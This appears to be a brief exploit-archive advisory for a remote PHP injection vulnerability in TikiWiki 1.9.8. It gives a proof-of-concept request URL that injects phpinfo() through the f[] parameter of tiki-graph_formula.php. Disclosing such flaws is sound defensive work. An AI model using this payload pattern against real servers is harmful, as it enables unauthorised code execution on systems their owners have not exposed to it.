TikiWiki version 1.9.8 suffers from a remote PHP injection vulnerability.
2bbd29dae4a713bb41df08cf2cb1223b6bbfa534b1aa3ad74391d175ae6bfd0a
TikiWiki 1.9.8 Remote PHP Injection Vulnerability
Example: http://www.example.com/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=